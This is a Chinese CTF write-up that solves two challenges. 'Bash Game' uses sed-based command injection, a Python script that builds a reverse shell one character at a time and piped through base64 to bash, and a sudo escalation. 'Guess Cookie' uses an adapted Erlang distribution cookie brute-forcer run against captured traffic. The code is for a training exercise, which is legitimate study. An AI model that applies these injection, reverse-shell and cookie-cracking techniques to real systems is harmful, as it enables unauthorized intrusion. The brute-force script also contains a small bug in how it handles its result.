又是一次爆零的比赛。。。还是太菜了,还得多练。
Bash Game
比赛的时候本以为这是唯一一道可能做出来的题,赛后看了wp才知道,即使最开始那个字符限制给我侥幸绕过了,后面也是狠狠坐牢。。。
题目主要文件
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package mainimport ( "ByteCTF/lib/cmd" "github.com/gin-gonic/gin" ) func main () { r := gin.Default() r.POST("/update" , func (c *gin.Context) { result := Update(c) c.String(200 , result) }) r.GET("/" , func (c *gin.Context) { c.String(200 , "Welcome to BashGame" ) }) r.Run(":23333" ) } const OpsPath = "/opt/challenge/ops.sh" const CtfPath = "/opt/challenge/ctf.sh" func Update (c *gin.Context) string { username := c.PostForm("name" ) if len (username) < 6 { _, err := cmd.Exec("/bin/bash" , OpsPath, username) if err != nil { return err.Error() } } ret, err := cmd.Exec("/bin/bash" , CtfPath) if err != nil { return err.Error() } return string (ret) }
ops.sh
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash name=$1 switch_domain () { conf_file="/opt/challenge/ctf.sh" sed -i "s/Bytectf.*!/Bytectf, $name !/" "$conf_file " } switch_domain
ctf.sh
1 2 #!/bin/bash echo welcome to Bytectf, username!
题目的逻辑是向/update post传参一个name,这个name的值会替换掉ctf.sh中的username,并且ctf.sh会被执行。
很显然就是要用这个name传入我们要执行的命令,但是题目中对输入的内容长度进行了检测,必须小于6。然而,用来表示内容是命令的反引号已经占掉了两个字符,也就是说得在三字符内构造出我们需要的命令。
写脚本,每次传一个字符,同时用#注释掉!,最终构成我们的反弹shell的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsrs = requests.Session() url_base = 'http://xxx.clsadp.com' def add_char (char ): url = url_base + "/update" param = '\\0' +char+'/#' assert len (param)<6 data = {"name" : param} response = rs.post(url, data=data) return response.text if __name__ == '__main__' : command = ''' `echo "(这里写自己的反弹shell命令的base64编码)"|base64 -d|bash` ''' .strip() command = command[::-1 ] for char in command: add_char(char)
这里我们是ctf用户,也没法使用sudo,使用sudo -l看看能干什么
这里是程序进行了检测是否是终端而我们是shell导致的没法使用sudo,获取ptyify将我们转化为伪终端会话。
在数组的索引中插入命令,利用truegame.sh读取flag
Guess Cookie 题目要求提交重要通信的cookie的md5值
流量包中有很多用来混淆的cookie,但是显然这里要找的是erlang cookie
过滤erldp协议,可以看到很多send challenge的操作
在github上可以找到有用来爆破erlang cookie的脚本
由于这里不需要远程交互,可以直接从流量包中提取到challenge和digest,因此需要对bruteforce-erldp稍作一下修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import asynciofrom erldp import authenticateimport hashlibimport sysimport argparseimport jsonfrom itertools import islicedef authenticate (cookie_bytes, challenge ): md5_hash = hashlib.md5() md5_hash.update(cookie_bytes) md5_hash.update(str (challenge).encode()) digest = md5_hash.hexdigest() return digest == "f0e2967976d3ad1d0e8d2e85e7146f1a" def parse_interval (arg ): elms = arg.split(',' ) assert (len (elms) == 3 ) return int (elms[0 ], 0 ), int (elms[1 ], 0 ), float (elms[2 ]) def parse_distribution (arg ): intervals = [] with open (arg, 'r' ) as f: obj = json.load(f) for item in obj: assert ('start' in item) assert ('stop' in item) assert ('prob' in item) intervals.append((item['start' ], item['stop' ], item['prob' ])) return intervals def walk_intervals (intervals ): for (start, stop, prob) in sorted (intervals, key=lambda x: x[2 ], reverse=True ): for x in range (start, stop): yield x def next_random (x ): return (x*17059465 + 1 ) & 0xfffffffff def derive_cookie (seed, size ): x = seed cookie = bytearray (b'0' *size) for i in range (size-1 , -1 , -1 ): x = next_random(x) cookie[i] = ord ('A' ) + ((26 *x) // 0x1000000000 ) return bytes (cookie) def batched (iterable, n ): "Batch data into tuples of length n. The last batch may be shorter." if n < 1 : raise ValueError('n must be at least one' ) it = iter (iterable) while batch := tuple (islice(it, n)): yield batch async def derive_and_authenticate (seed, challenge ): cookie = derive_cookie(seed, 20 ) success = authenticate(cookie,challenge) if success: print (f'[*] seed={seed:#x} cookie={cookie.decode()} ' ) (r, w) = success w.close() await w.wait_closed() async def amain (intervals, sim, target, port ): for seeds in batched(walk_intervals(intervals), sim): tasks = [asyncio.create_task(derive_and_authenticate(seed, 0x60ea7bde )) for seed in seeds] await asyncio.gather(*tasks) if __name__ == '__main__' : import argparse parser = argparse.ArgumentParser() mutual = parser.add_mutually_exclusive_group(required=True ) mutual.add_argument('--interval' , action='append' , type =parse_interval) mutual.add_argument('--distribution' ) mutual.add_argument('--seed-full-space' , action='store_true' ) mutual.add_argument('--sim' , default=16 , type =int ) parser.add_argument('target' , action='store' , type =str , help ='Erlang node address or FQDN' ) parser.add_argument('port' , action='store' , type =int , help ='Erlang node TCP port' ) args = parser.parse_args() print (args) if args.seed_full_space: intervals = [parse_interval('300000000,500000000,1000' )] elif args.distribution: intervals = parse_distribution(args.distribution) else : intervals = args.interval pass asyncio.run(amain(intervals, args.sim, args.target, args.port))
挂着跑一段时间即可得到结果